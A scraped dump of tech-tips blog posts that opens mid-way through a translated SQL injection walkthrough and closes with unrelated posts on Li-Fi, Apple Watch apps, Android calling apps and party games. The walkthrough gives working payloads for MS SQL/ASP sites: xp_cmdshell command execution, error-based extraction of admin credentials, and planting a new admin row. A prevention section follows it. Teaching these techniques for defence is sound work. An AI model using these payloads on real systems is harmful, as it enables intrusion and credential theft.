query line will select everything in the product table regardless of whether the value of the PCategory field is equal to 'food'. Two dashes (-) only tell MS SQL server that the query line has run out, everything left after \"-\" will be ignored. For MySQL, replace \"-\" to \"#\"\nAlternatively, you can try another way by submitting 'or' a '=' a. The SQL query line will now be:\n SELECT * FROM product WHERE PCategory='food' or 'a'='a'  Some other types of data that should also be submitted to find out if the site has an error:\n ' or 1=1-- \" or 1=1-- or 1=1-- ' or 'a'='a \" or \"a\"=\"a ') or ('a'='a  2.4. Execute remote commands with SQL Injection If installed with the default mode without any modification, MS SQL Server will run at the SYSTEM level, equivalent to the Administrator access level on Windows. You can use store procedure xp_cmdshell in the master database to execute the remote command:\n '; exec master.xp_cmdshell 'ping 10.10.1.2'--  Try using double quotes (\") if single quotes (') do not work.\nThe semicolon (which will end the current SQL query and allow execution of a new SQL command. To check if the above command is executed, it is possible to listen to the ICMP packets from 10.10.1.2 with tcpdump as follows:\n #tcpdump icmp  If you receive a ping request from 10.10.1.2, the command has been executed.\n2.5. Get output of SQL query You can use sp_makewebtask to write the output of SQL query to an HTML file\n '; EXEC master.sp_makewebtask \"10.10.1.3shareoutput.html\", \"SELECT * FROM INFORMATION_SCHEMA.TABLES\"  Note : \" share \" folder must be shared for Everyone first.\n2.6. Get data via 'database using ODBC error message ' MS SQL Server error messages often give you important information. For example, above http://yoursite.com/index.asp?id=10, we now try the integer '10' merge with another string taken from the database:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  SQL Server's INFORMATION_SCHEMA.TABLES table contains information about all tables (tables) available on the server. The TABLE_NAME field contains the name of each table in the database. We choose it because we know that it always exists. Our query is:\n SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--  This query will return the name of the first table in the database\nWhen we combine this string with integer number 10 via the UNION statement, MS SQL Server will try to convert a string (nvarchar) into an integer number. This is an error if the nvarchar is not converted to int, the server will show the following error message:\n Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5  The above error message indicates the value you want to convert to integer but cannot, \" table1 \". This is also the name of the first table in the database that we want to have.\nTo get the name of the name of the next table, you can use the following query:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--  It is also possible to try to find data by passing the LIKE statement of the SQL statement:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--  Then the SQL Server error message may be:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5  The comparison model '% 25login% 25' will be equivalent to% login% in SQL Server. As seen in the above error message, we can determine the name of an important table \" admin_login \".\n2.7. Specify the names of the columns in the table Table INFORMATION_SCHEMA.COLUMNS contains the names of all columns in the table. Can be exploited as follows:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--  Then the SQL Server error message may be as follows:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5  So the first column name is \" login_id \". To get the names of the next columns, it is possible to use the NOT IN () logical clause as follows:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--  Then the SQL Server error message may be as follows:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5  In the same way, you can get the remaining column names like \" password \", \" details \". Then we take the names of these columns through SQL Server error messages, as in the following example:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--  Then the SQL Server error message may be as follows:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5  2.8. Collect important data \n We have identified the names of important tables and columns. We will collect important information from these tables and columns.\nYou can get login_name first in the \" admin_login \" table as follows:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--  Then the SQL Server error message may be as follows:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5  It is easy to recognize the first user admin with login_name as \"anchor\". Try taking the password of \"anchor\" as follows:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--  Then the SQL Server error message may be as follows:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5  And now it is possible to login with the username \" anchor \" and password \" m4trix \".\n2.9. Get numeric string There is a small limitation to the above method. We cannot receive error messages if the server can convert text correctly in the form of numbers (the text contains only numeric characters from 0 to 9). Suppose the password for \" trinity \" is \" 31173 \". So if we execute the following command:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--  Then only \" Page Not Found \" error message is received. The reason is because the server can convert the \" 31173 \" passcode to a digital form before UNION with integer 10. To solve this problem, we can add a few alphabetic characters to this numeric string to fail the conversion. from server to number text. The new query line is as follows:\n http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--  We use the plus sign (+) to append text to the password (the ASCII code of '+' is 0x2b). We add the string '(space) morpheus' to the end of the password to create a new string, not the numeric string '31173 morpheus' . When convert () function is called to convert '31173 morpheus' to integer, SQL server will issue the following ODBC error message:\nMicrosoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5  And that means we can now login with username ' trinity ' and password as ' 31173 '.\n2.10. Change data (Update / Insert) of the database Once you have the names of all the columns in the table, you can use the UPDATE or INSERT statements to modify / create a record in this table.\nTo change the password of \" anchor \", you can do the following:\n http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--  Or if you want a new record in the table:\n http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--  And now can login with username \" neo2 \" and password as \" newpas5 \"\n3. Prevent SQL Injection Organizations can focus on the following steps to protect themselves from SQL Injection attacks:\nNever trust user input: Data must always be authenticated before being used in SQL statements. Stored Procedures: These procedures can abstract SQL statements and consider the entire input as parameters. As a result, it cannot affect the SQL command syntax. Prepared commands: This includes creating the SQL query as the first action and then processing all sent data as parameters. Common phrases: These phrases are used to detect malicious code and remove it before the SQL statement is executed. Correct error message: The error message must absolutely avoid disclosing sensitive information / details and the location of the error on the error message. Limit user access to the database: Only accounts with the required access are connected to the database. This can help minimize the SQL commands that are executed automatically on the server. Please remove the meta characters like '\"/; and extend characters like NULL, CR, LF, . in the strings received from: input submitted by the user  parameters from URL\n values ​​from cookies\n  For numeric values, convert it to integer before querying SQL, or use ISNUMERIC to make sure it is an integer number. Changing \" Startup and run SQL Server \" uses the low privilege user level in the SQL Server Security tab. Delete the stored procedures in the database master without using: xp_cmdshell  xp_startmail\n  xp_sendmail\n  sp_makewebtask\n  Prevent SQL Injection in ASP.NET The SQL Injection blocking methods shown in Part 12 cover all the methods, but in ASP.NET there is a simple way to stop using Parameters when working with the SqlCommand object (or OleDbCommand) rather than using direct SQL statements. At that time, .NET will automatically validate data types and data contents before executing SQL statements.\nIn addition, error control messages are also needed. And the default in ASP.NET is that the error message will not be notified in detail when not running on localhost.\n4. Reference materials How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42\u0026amp;iface=6\n Bài viết về thông tin thông tin từ ODBC lỗi thông báo\nhttp://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc\n A Summary good của các gói SQL cho SQL Server trên http://www.owasp.org/asac/input_validation/sql.shtml\n Senseport article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm\n Other:\nhttp://www.digitaloffense.net/warga./IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7\u0026amp;iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60\u0026amp;iface=6\n Collect on the Internet from the article translated from xfocus.net's original \" SQL Injection Walkthrough \" article\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFuv9ClZKKmmpqwtbXOp2SappRitbDDjK2mZqiimsOmutNmoK0%3D\n","link":"/post/learn-about-sql-injection-and-how-to-prevent-it/","section":"post","tags":null,"title":"Learn about SQL Injection and how to prevent it"},{"body":"According to reports from many users, on the morning of December 21, the Pi Network application \"flies\" from Google's Play Store application store. TipsMake.com tried to test and confirm Pi Network is no longer displayed on the Play Store.\nTrying to search with the keyword \"Pi Network\" on Google Play Store only returns Pi Browser application and applications not related to Pi Network. When you search with the Google tool, you will still see the link to the Pi Network, but when you click it, you only get the message \"The requested URL was not found on the server\".\nOn Apple's App Store, the Pi Network app still appears normally.\n  According to some netizens' speculation, Pi Network is only temporarily hidden, deleted to prevent account creation or because the development team is preparing to put the mainnet into operation. Some other sources believe that Pi Network is temporarily offline for a major update.\nOn the Pi Network homepage, it is announced that the app is undergoing regular evaluation and is not available for download on the Google Play Store. Therefore, users are advised to download the APK file to install.\nPi Network has been popular in Vietnam since 2020. Pi's supporters believe that just spending a few minutes a day to mine Pi on smartphones will later have a chance to become a billionaire when Pi is circulated and increased price.\nHowever, many crypto and blockchain experts have since warned about the suspicious activities of the Pi Network. Experts say that the Pi has no core technology, but is essentially an application that collects user information.\nTipsMake.com does not encourage you to participate in \"digging\" Pi, you should consider and absorb information selectively.\npi network pi network disappeared from play store ncG1vNJzZmismaXArq3KnmWcp51kvap5zZ6rsKeioHqivM9mm6KrkaW9pq3RrGSopl2luaLFjKyrqKqV\n","link":"/post/pi-network-app-disappears-on-play-store/","section":"post","tags":null,"title":"Pi Network app 'disappears' on Play Store"},{"body":"MP4 video format when recording computer screen will default to most tools. But with the software in this article, you can record the screen in GIF format.\nTo record computer, we can install a lot of software like Bandicam, Camtasia Studio, Captura, . And most of these tools support saving as MP4 video, compatible with many devices, can run with many video viewing software. However, if you want to post a video or post it on Facebook, you can try using the video as GIF.\nThe animation size will be smaller with MP4 video. This helps you to be more convenient in sending messages, emails or posting on social networks Facebook. The following article will suggest you to read some of the computer screen rotation tools as GIF images, with useful and easy to use features.\n1. ScreenToGif software: http://www.screentogif.com/ ScreenToGif provides users with 2 options to install .exe file or portable without installation or registration and can run immediately. The capacity of the tool is very light, does not occupy much system resources. To use ScreenToGif, the computer needs to install .Net Framework 4.6.1 onwards.\n  The program supports users to record computer screen with GIF or MP4 video format. Users can edit for each frame, customize transitions, loops, auto play or rewind.\nScreen-recording animations will be provided with a number of editing options, so you can retouch images such as adding strokes, resizing, cropping and rotating images before saving. In particular, ScreenToGif supports setting image file size according to pixels, or creating GIF images with high definition HD.\n  2. VClip tool: http://blog.bahraniapps.com/vclip/ VClip is also a portable application that allows users to record screen videos in GIF format, or MP4 videos. We can set a full screen capture or an area on the screen or customize. When the screen recording finishes, selecting the frame level and the file format when exporting is also supported by VClip.\nThere are many basic features to choose from. However, the only minus point of VClip is that the quality of the screen rotation GIF is not as high as ScreenToGif.\n  3. Recordit records GIF format screen: http://recordit.co/ Recordit has 2 different free and paid versions. With the free version we can rotate the screen within 5 minutes. With the time it takes to capture GIF images, this screen is enough for you to get the screen content you want to shoot. Recordit is an application that installs and runs in the background.\nRecordit's activity is to record the video screen in the form of MP4 video, upload it to the server to edit or convert it into a GIF image in the browser and then save it to the computer. Quality GIF images when exported at an average level.\n  4. LICEcap software: https://www.cockos.com/licecap/ LICEcap has quite a few other custom features like with ScreenToGif software, as you cannot edit images after rotating the screen. With LICEcap, we can adjust the maximum frame rate when rotating the screen. When rotating the screen, the tool will add effects when clicking the mouse.\n  5. ShareX tool: https://getsharex.com/ ShareX allows users to take screenshots, capture the entire site or conduct screen capture. However, the image editing feature will not be available on the tool, so you cannot proceed to resize, add titles, captions, and drawings like ScreenToGif.\nUsers can choose a screen area for ShareX to take screen shots, or choose to rotate the entire screen according to the user's needs. GIF images appear on ShareX on average.\n  Above are some of the tools for recording computer images and saving them in GIF format. These tools, in addition to shooting computer images and saving them as animations, also include a number of customizable animations such as resizing, adding strokes, captions, etc.\nHope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51kwKS%2BxJ6lZpuRpcG2vsRmq6innKh6p7vRZp6inl2osLOxxKeqZp6fp3q4tc2dprCrXWZ9\n","link":"/post/screen-capture-tools-for-gif-screens-for-windows-10/","section":"post","tags":null,"title":"Screen capture tools for GIF screens for Windows 10"},{"body":"The paintings have cleverly added details into their paintings as a hidden message that makes viewers feel excited when they discover them. Let's explore the inside of the 7 famous paintings below that contain interesting secrets.\nDiscover the 8 biggest secrets in Da Vinci's \"Mona Lisa\" picture Surprise details no one paid attention to the key to decoding world famous paintings 1. Mona Lisa is \"pinned\"   Leonardo da Vinci's Mona Lisa is known as a perfection and mystery. Therefore, when Joseph Borkowski - American art expert said that the woman in the original painting did not have many teeth surprised many people.\nBorkowski zoomed in and looked closely at the painting of this masterpiece and discovered scars around her mouth - MonaLisa's expression was also a common manifestation of those who lacked their front teeth.\n2. The woman carries the baby behind the old musician   Those who have the opportunity to admire Pablo Picasso's \"The Old Guitarist\" can easily see that there is a blurred face in the neck of this musician.\nBut, only when the experts from the Chicago Art Institute took a picture of this painting did they discover that behind the musician playing the instrument, the image of a woman holding her baby, next to a child cows and sheep.\nMany people said that due to the difficult life, Pablo Picasso had to \"reuse\" specialized canvases many times.\n3. Van Gogh painter was \"cut\" on the wrong side   The picture is one of dozens of self-portraits of Van Gogh. This picture depicts the artist injured in the right ear, but the fact that his cut off ear is on the left.\nThis 'confusion' could be because when he painted himself, Van Gogh often observed himself through a mirror. Therefore, the right side of the picture is his left side and vice versa.\n4. Van Gogh likes yellow to reduce loneliness   According to research documents, Van Gogh loves yellow, in his works he uses a lot of yellow, even he used to eat gold paint to reduce the single.\nBut there are also documents showing that Van Gogh only likes yellow after treating depression. Due to the effects of side effects of a drug, everything in his eyes is yellow.\n5. I think it's nighttime but the context is actually daytime    In 1642, Rembrandt van Rijn, a Dutch painter, released The Night Watch - Night Patrol. At that time everyone thought that the scene in the painting was at night. It was not until 1947 that experts, after cleaning up the painting with soot, discovered the context of this masterpiece as daylight.\n6. Revenge by hiring a wife painting artist   Gustav Klimt is one of the most iconic Austrian painters and one of his most famous paintings is the drawing of Adele Bloch-Bauer - Ferdinand Bloch-Bauer's wife, the Austrian sugar king.\nThe mysterious story behind this painting is quite 'funny', Ferdinand discovers Adele and Klimt have developed feelings so they seek vengeance. Ferdinand's plan is to put Klimt to draw hundreds of portraits of Adele with the aim of making the artist feel tired with his wife.\nFerdinand's plan finally succeeded, after 4 years Klimt's feelings gradually became cold. Adele was completely unaware that her husband knew about his relationship with Klimt until his death.\n7. Brain anatomy images appear in the picture   After enlarging the painting Sistine Chapel: The Separation of Light and Darkness - The Sistine Chapel: The Split of Light and Darkness, an image of an anatomy brain is visible in the neck of the character in picture. Currently, people have not found a solution to this interesting detail.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKycnKqVqXqvu4yopZ5lmJbAbrTInZuepl2eu27DzqujnWWWlrqwwdJmp5qhnqm2r7PS\n","link":"/post/the-secret-no-one-has-hidden-in-world-famous-paintings/","section":"post","tags":null,"title":"The secret no one has hidden in world famous paintings"},{"body":"Can you imagine a movie from . light bulbs? With Fidelity Technology (Li-Fi), a new wireless technology, you can do it. Li-Fi uses both infrared and visible light spectrum for high-speed data transmission. Unlike WiFi, which uses radio signals to send information, Li-Fi uses light-emitting diodes (LED bulbs) to transmit data.\nLearn about Li-Fi technology What is Li-Fi? What about 5G? How powerful is Li-Fi technology? How does Li-Fi work? Li-Fi fixes common security issues in WiFi wireless connection Li-Fi eliminates noise Li-Fi technology requires constant access to the light source Hardware requirements will make a big change in the light bulb market  What is Li-Fi?   Although Li-Fi sounds strange and rare, in fact, you have used this Li-Fi technology every time you click on the TV control. The term Li-Fi was first used by University of Edinburgh professor Harald Haas in 2011 in TEDGlobal, when he asked the question: \"What if all the light bulbs in the world can transmit data? \" He explains how flashing light from an LED, can transmit data more efficiently and safely than cellular towers. Professor Haas continues to set up a company to develop Li-Fi technology, called purLifi, to create a simple system that works with USB devices.\nLED bulbs are used in Li-Fi network containing chips, technology for signal processing, making light flashing, similar to strobe light lamps (flashing lights often used for stage). This fast continuous blur of the human eye will not be detected, used to generate electrical signals by Li-Fi receivers and data transmissions. LED bulbs are very suitable for Li-Fi, because unlike fluorescent lamps and incandescent lamps, LEDs have high intensity, necessary conditions for data transmission at great speeds.\nWhat about 5G? 5G is the name given to the latest mobile connectivity, giving better performance speeds than 4G (LTE / WiMax), 3G (UMTS) and 2G (GSM) systems. 5G wireless devices transmit data by radio with a local antenna array and low power automatic receiver. Local antennas are connected to the telephone network and the Internet by high bandwidth.\n5G is 100 times faster than 4G. This increase in performance is achieved by using invisible radio waves with higher frequencies. In contrast, 4G, 3G and 2G networks use lower frequencies in the microwave range. Unlike 5G networks and earlier versions, Li-Fi uses radio waves in the visible spectrum, fast and has much larger bandwidth.\nHow powerful is Li-Fi technology? Li-Fi transmits data at 1GB per second, 100 times faster than regular WiFi. By using infrared and visible light spectrum, Li-Fi is about 2600 times larger than the entire 300GHz radio frequency spectrum.\nIn contrast, WiFi has a limited number of radio bands. This is important when families and businesses buy wireless devices, as well as rely on Internet of Things (IoT) technology.\nThis increase in demand makes it more difficult to move data across a limited number of bands. Some sources said that by 2020, more than 50 billion devices will always be connected to the Internet, combined with the fact that 5G requires a large amount of large radio spectrum. Pushing this huge demand to Li-Fi will release more radio spectrum, helping to handle the rapidly growing Internet traffic.\nHow does Li-Fi work?   With Li-Fi processing chips, LEDs become network access points. Binary data streams are provided from the Internet or the server via high-speed media and routers, then to lights. The LED router then adjusts the output to embed data into the light. Your device will need an optical receiver, or a dongle plugged into a USB port, to access Li-Fi.\nLi-Fi fixes common security issues in WiFi wireless connection Light can be secured in a physical space. Just like controlling a TV that cannot penetrate a wall, Li-Fi's range of activity is limited by walls, floors and other physical barriers. This makes it harder for hackers to access your Internet. This limited range makes Li-Fi suitable for sensitive applications, such as in the military and healthcare industries.\n  Li-Fi eliminates noise Many users can use the same Li-Fi bandwidth without interference, because Li-Fi does not show any electromagnetic interference. This makes it possible to connect to the Internet in areas where using WiFi becomes dangerous, making it suitable for chemical or nuclear plants.\nLi-Fi can provide Internet access in inaccessible radio areas, such as in the subway, underwater and on airplanes.\nLi-Fi technology requires constant access to the light source Lights must be turned on for Li-Fi to work. Li-Fi requires a straightforward, obstacle-free connection, like a TV control. Your device will always need an unobstructed line with the Li-Fi transmitter, which can be difficult if you use a mobile device while you're on the move.\nHardware requirements will make a big change in the light bulb market It must be convincing that the bulb manufacturer adds that adding a circuit to the LED bulb (allowing the bulb to flicker) is worthwhile to increase production costs. In addition, the Li-Fi network will require Internet cables to run to LEDs as part of the network.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWcnrOq\n","link":"/post/what-is-li-fi/","section":"post","tags":null,"title":"What is Li-Fi?"},{"body":"Complication (additional functionality other than the basic function of displaying hours as usual) for Apple Watch is a great way to get information from your favorite iPhone applications on Apple Watch in a flash. With a larger screen on Apple Watch Series 4, complications can now be made and displayed more than ever.\nHere are some valuable complications you should not ignore on the Apple Watch.\nWhere is the best complication for Apple Watch? 1. Dark Sky 2. Just Press Record 3. ActivityTracker 4. Things 3 5. HeartWatch 6. Streaks 7. Fantastical 2 8. WaterMinder 9. iTransTable 10. BatteryPhone 1. Dark Sky   Dark Sky is one of the best super-local weather apps available. Dark Sky provides weather updates every minute for your specific location.\nComplication Dark Sky shows you the most important weather information on the watch face. Each option gives you the current temperature, as well as updated weather conditions. Larger complications also include information such as temperature changes and even sunset time.\nDownload Dark Sky ($ 4 / 92,000 VND).\n2. Just Press Record   Using iPhone to take notes or dictation is quite useful, but you have to stop what you're doing, take the iPhone and start typing. With Just Press Record, you can keep the iPhone's position intact during recording.\nJust touch the red circle and Apple Watch will start recording almost immediately. Everything you record is not only synced directly to the iPhone application, but also converted back into text.\nDownload Just Press Record ($ 5 / 115,000 VND).\n3. ActivityTracker   One of the biggest pluses of Apple Watch is the ability to track exercise. But it is strange that there is no way to display the number of steps on the clock face.\nThankfully, there is an application to fill this gap. ActivityTracker takes data directly from the Apple Health app and lets you display your step number as a complication. This is a really useful tool if you are trying to reach a specific number of steps, because you can track your progress in real time as you train.\nYou can also choose to display calories, distance, uptime and number of floors climbed.\nDownload ActivityTracker (Premium version / free).\n4. Things 3   There are many great apps to do for iPhone. Things 3 is one of the best apps and the Apple Watch complications of Things 3 make it even better.\nThe complication can display the progress bar to show how many tasks you have completed in a day. Some watch faces will display the next task on your list. Modular watch face can show up to the next three tasks. You can also mark completed tasks directly from the clock.\nDownload Things 3 ($ 10 / 230,000 VND).\n5. HeartWatch   Another great health-related feature of the Apple Watch is the integrated heart rate monitor. The original Complication Heart Rate does a good job of displaying your current heart rate, but HeartWatch also upgraded this feature to a new level.\nYou can see your current heart rate as well as your minimum and maximum heart rate during the day. Some complications also include average heart rate. This is great for sports enthusiasts. There is also a color coding system. If the complication circle is red, it means your heart rate increases.\nThis Complication is one of the best physical applications for Apple Watch in the market. It will monitor your heart while sleeping, exercising and even when you rest.\nDownload HeartWatch ($ 3 / 49,000 VND).\n6. Streaks   Streaks is a to-do list application, focusing on tracking how many consecutive days you complete each task. It's a great way to motivate yourself, because once you've built a plan, you don't want to break it, right?\nThe simplest complication shows 6 dots, switching from orange to gray when you complete each task. You can mark a task as completed directly on your watch, as well as start the timer for tasks based on duration. Larger complications will also display part of the task name on the clock face.\nDownload Streaks ($ 5 / 115,000 VND).\n7. Fantastical 2   Fantastical 2 is already one of the best calendar apps for iPhone, iPad and Mac. With complication for Apple Watch, you can be sure that you will never miss an appointment again.\nAt first glance, it looks like Apple's Calendar app, allowing you to see dates and names of appointments on larger complications. Going a little deeper, you'll find that there are many other things that are offered with Fantastical 2.\nYou can see how long your current event will last, even in small complications that display information in the form of miniature rings. Most useful is the complication of clicking, and the powerful touch again allows you to add a new appointment with a voice command.\nDownload Fantastical 2 ($ 5 / 115,000 VND).\n8. WaterMinder   If you are worried that you do not drink enough water, WaterMinder will be a great addition to your favorite Apple Watch watch face. You can set goals for the amount of water you want to drink and count throughout the day, all from your watch.\nSmaller complications give you a closed, round circle equivalent to the amount of water you drink during the day. Larger complications provide you with information about the amount of water remaining and the percentage of total water you have to drink that day. Touch complication and you can add an amount of available water or enter your own number.\nDownload WaterMinder ($ 5 / 115,000 VND).\n9. iTransTable   If you are traveling abroad, complication iTranslate for Apple Watch can be a useful companion. It not only automatically detects the local language but also shows common phrases useful throughout the day.\nTo launch the application, just touch complication. Click the flag corresponding to the country and you can speak or scribble the phrase you want to translate. After a moment, the application will give you the translated phrase. Click on the speaker icon and your Apple Watch will read the translated phrase for you.\nThe translated phrase is still on the watch face, so you can recall that new word, every time you glance at the clock.\nDownload iTranslate (Free, available registration).\n10. BatteryPhone   There is a separate complication for Apple Watch to display the percentage of the watch battery. If you want to see how much battery life your iPhone has just by glancing at your wrist, you'll need an app like BatteryPhone.\nThis is not the most subtle complication on this list, but it is a great way to see the iPhone battery level without having to constantly unplug the phone. You can also use the iPhone app (quite basic) to customize complication to display both the phone battery level and the watch at the same time.\nDownload BatteryPhone (Free).\nThe complications are always one of the most practical features of Apple Watch, thanks to the additional functions they provide. They help your smartwatch become smarter and make your life easier.\nIf you are the owner of the new Apple Watch, don't forget to try out some of the lesser known Apple Watch hidden features!\nWish you find yourself the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWTpLqxuMicmK2hn6PAbrLOq2SaqKChsm7DwK2aoQ%3D%3D\n","link":"/post/10-best-complications-for-apple-watch/","section":"post","tags":null,"title":"10 best complications for Apple Watch"},{"body":"These applications allow users to make free calls through an Internet connection using Wi-Fi or 3G.\nHere are 10 free apps on the Android platform.\nViber Developer: Viber Media, Ltd.\nRequirements: Android 2.1 and above.\n  Viber application.\nFamous on the platform of iOS, now, Viber is also the preferred choice of many Android phone users in Vietnam and the world.\nThe highlight of this application is simplicity and convenience. The installed application will automatically scan your contacts and connect with users who use other Viber without troublesome operations such as requesting a connection, waiting for connection approval .\nViber uses HD audio technology for better voice quality than GMS conversations. Although running underground on the operating system, the battery consumption is not too high.\nSkype Developer: Skype.\nRequirements: Android 2.1 and above.\n  Skype application\nDeveloped from a PC platform, Skype has become one of the best and most popular applications using VoIP (Voice over Internet Protocol) and also allows users to make free Skype-to-video voice calls. -Skype, send messages via 3G or Wi-Fi network.\nTango Developer: Tango.\nRequirements: Android 2.2 and above.\n  Tango application.\nTango is rated by the Android user community as one of the best applications of video / chat conversations. The app offers good quality, interactive conversations, integrated with any Android device. Users can make free calls through 3G, 4G and Wi-Fi connection. The drawback of this app is that it consumes battery power, there are many times when there are errors in managing contacts and there is no group conversation.\nfring Developer: FringLand.\nRequirements: Android 2.2 and above.\n  Fring application.\nFring is of high quality in single or group conversations including voice and video. Using DVQ technology (Dynamic Video Quality) allows audio and video data to automatically adjust the quality, suitable for connection types such as 3G, 4G or Wi-Fi. Group conversations can connect with 4 users at the same time. In the latest version, instead of logging in with your account / password, users can directly register with their phone number. However, this latest version is not necessarily the first choice because of the ability to interact with older versions is quite difficult, direct voice quality is not stable.\nLinphone Developer: Belledonne communications.\nRequirements: Android 1.6 and above.\n  Linphone application.\nThis is a pretty good and interesting application using VoIP protocol, SIP (Session Initiation Protocol). In addition to featured features such as normal voice calls and free video calls, this app is constantly being updated and improved in quality because it is an open source developed by the community.\nLinphone has a series of outstanding features such as audio using narrow and wide bandwidth bands iLBC, G711, GSM, Silk .; video conversations using source code VP8, Mpeg4 for good quality. In addition, the application also removes the noise quite well, supports group conversations, integrates contacts and keeps track of the conversation history. Although there are many good features, the community uses very little, some phones are not supported.\nLine Developer: NAVER.\nRequirements: Android 2.1 and above.\n  Line application.\nLine allows to make good conversations but does not support video calls. The SMS / email feature used from Line is quite user-friendly, in addition to the application of funny stickers or emoticons, suitable for young users. The application supports sharing photos and videos on social networks with accounts on Line. The audio filter works quite well in conversations but there is a lot of disruption during use. The ability to consume battery is quite high also hindering users.\nKakao Talk Free Call \u0026amp; Text Developer: Tango.\nRequirements: Android 2.2 and above.\n  Kakao application.\nFully meet the features for free calling and texting applications via 3G or Wi-Fi, Kakao is also designed to be eye-catching, suitable for young users with more than 250 emoticons connected. with K-Pop stars: Super Junior, Girls' Generation, SHINee, Wonder Girls, 2PM - who use Kakao Talk together. The application has a strong ability to connect when installed on different platforms such as iOS, Backberry, Bada . The group chat feature is quite good without limiting participants, however, the best scope of activities is only 3 to 6 people connected.\nFreePP: Free Call \u0026amp; Free MMS Developer: FreePP Inc.\nRequirements: Android 2.1 and above.\n  FreePP application.\nUseful application with four main functions are free voice calls, multimedia messages, group chat, file sending. Through Wi-Fi or 3G connection, users have 59 seconds of free calls. When users and connected users use the FreePP, all conversations are free regardless of platform or country. This application is relatively easy to use and user-friendly, does not require registration, login, auto-sync contact list. Users only need to use the phone number and activate it only once. Voice quality is clear, but calls are sometimes interrupted.\nFree Calls with magicJack Developer: magicJack VocalTec Ltd.\nRequirements: Android 2.3 and above.\n  MagicJack application.\nThis is a new application that appears in the Vietnamese Android community. This app gives quite high call sound quality, convenient functions and interfaces in use. However, the battery consumption is high when running underground on the device.\nTiKL Touch Talk Walkie Talkie Developer: TIKL Inc.\nRequirements: Android 2.2 and above.\n  Tilk application.\nUsers can connect and use simply by selecting and holding to talk. Contacts stored in the device and on Facebook are available to users. Tilk works via Wi-Fi, 3G, 4G, and GPRS connections.\nncG1vNJzZmismaXArq3KnmWcp51kfnF5xaucnmWTlrmttc2gZJqooKh6sLqMmqWdqp%2BesQ%3D%3D\n","link":"/post/10-free-calling-apps-on-android/","section":"post","tags":null,"title":"10 free calling apps on Android"},{"body":"Holidays are an opportunity for everyone to have fun. From family gatherings to parties with friends, there's a lot to do during the holiday season.\nOne of the best ways to celebrate the ceremony is to organize a party, such as a Christmas party with family and friends, or a party at the office with colleagues.\nHowever, in case you get bored, these are the best games to play with family, friends, colleagues and / or complete strangers at Christmas parties.\nWhat to play at Christmas party? 1. Cards Against Humanity Holiday Packs 2. Heads Up! 3. Tell a Holiday Tale 4. Christmas Pictionary 5. 20 Questions 6. Christmas Movie Trivia 7. Human Christmas Tree 8. Penguin Waddle 9. Gift Relay 10. Two Truths and a Lie 1. Cards Against Humanity Holiday Packs   If you've ever been to a party, you've probably played Cards Against Humanity. This is one of the most popular party games available. The goal is to use the deck to get the most laughter.\nGame Cards Against Humanity costs $ 25 (VND 579,000) and also has expansion kits. You can 